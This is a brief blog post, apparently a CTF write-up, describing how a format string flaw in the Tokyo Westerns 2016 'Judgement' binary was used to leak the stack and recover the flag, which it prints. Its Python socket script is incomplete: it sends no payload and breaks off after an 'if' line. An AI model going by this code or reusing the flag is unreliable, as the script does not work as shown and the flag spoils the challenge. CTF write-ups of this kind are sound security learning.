Tokyo Westerns 2016 - Judgement

By: ohai 7 years ago
CTF Python Sockets Binary_Exploitation

Tokyo Westerns 2016 was this past weekend and one of the challenges Judgement.bin had you connect to a remote listener and send it something. It was vuln to string format so we could leak the stack. Printing the stack:

#!/usr/bin/env python

import socket

for i in range(50):
  csock = socket.socket()
  csock.connect(('', 31729))
  x = csock.recv(1024)
  if 'TWCTF' in x:

After a bit, we are rewarded with Input flag >> TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}

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